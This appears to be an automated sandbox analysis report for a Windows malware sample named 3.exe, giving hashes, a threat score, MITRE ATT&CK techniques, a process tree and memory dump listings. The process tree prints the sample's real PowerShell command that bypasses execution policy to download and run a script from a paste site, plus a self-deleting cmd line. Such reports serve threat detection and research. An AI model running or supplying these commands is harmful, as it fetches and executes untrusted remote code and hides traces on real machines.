117203a8745ac784850a1263f7502d0b41fda16e2341a6cc98d290ec7b215186

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-09-2024 16:16

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General

Target

3.exe
Size

1.2MB
MD5

6f58eada2611d4e69798d3824ab1ed28
SHA1

76f0495c12cb7884fc406b1ef7de946230a1f499
SHA256

0a7fded88420aedebccb96a4cacd197d5b29b60746e8c3a423cb0f78f3674f5c
SHA512

a32df7e7cb123ab1f9d4649e8c6b5b039346de1879398c5a68e6ca5d7d8c5a408e8b2ac72d68c46ca7ad9660ca08a9503ba31f7817b954f056a26fe5fb1b4f5d
SSDEEP

24576:Qrfl+F1DI+oc6owGiOV8DABNUS+m+++oJee++oAYLbmtjjjjDjjpmbiDcA:6t+F1DI+96iiOaDkNUS+m+++oJee++oC

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2652 powershell.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2668 cmd.exe
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

pid	process
2652	powershell.exe

pid	process
2668	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

3.exepowershell.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

3.exepowershell.exe

pid process

2980 3.exe
2980 3.exe
2652 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2652 powershell.exe

pid	process
2980	3.exe
2980	3.exe
2652	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2652	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

3.exe

description	pid	process	target process
PID 2980 wrote to memory of 2652	2980	3.exe	powershell.exe
PID 2980 wrote to memory of 2652	2980	3.exe	powershell.exe
PID 2980 wrote to memory of 2652	2980	3.exe	powershell.exe
PID 2980 wrote to memory of 2652	2980	3.exe	powershell.exe
PID 2980 wrote to memory of 2668	2980	3.exe	cmd.exe
PID 2980 wrote to memory of 2668	2980	3.exe	cmd.exe
PID 2980 wrote to memory of 2668	2980	3.exe	cmd.exe
PID 2980 wrote to memory of 2668	2980	3.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\3.exe
"C:\Users\Admin\AppData\Local\Temp\3.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2980

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )"
2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2652

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\3.exe"
2⤵
- Deletes itself
- System Location Discovery: System Language Discovery
PID:2668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2652-5-0x0000000073861000-0x0000000073862000-memory.dmp

Filesize
4KB

Download
memory/2652-7-0x0000000073860000-0x0000000073E0B000-memory.dmp

Filesize
5.7MB

Download
memory/2652-6-0x0000000073860000-0x0000000073E0B000-memory.dmp

Filesize
5.7MB

Download
memory/2652-8-0x0000000073860000-0x0000000073E0B000-memory.dmp

Filesize
5.7MB

Download
memory/2652-9-0x0000000073860000-0x0000000073E0B000-memory.dmp

Filesize
5.7MB

Download
memory/2652-12-0x0000000073860000-0x0000000073E0B000-memory.dmp

Filesize
5.7MB

Download
memory/2980-0-0x0000000000250000-0x0000000000275000-memory.dmp

Filesize
148KB

Download
memory/2980-1-0x0000000000250000-0x0000000000275000-memory.dmp

Filesize
148KB

Download
memory/2980-10-0x0000000000250000-0x0000000000275000-memory.dmp

Filesize
148KB

Download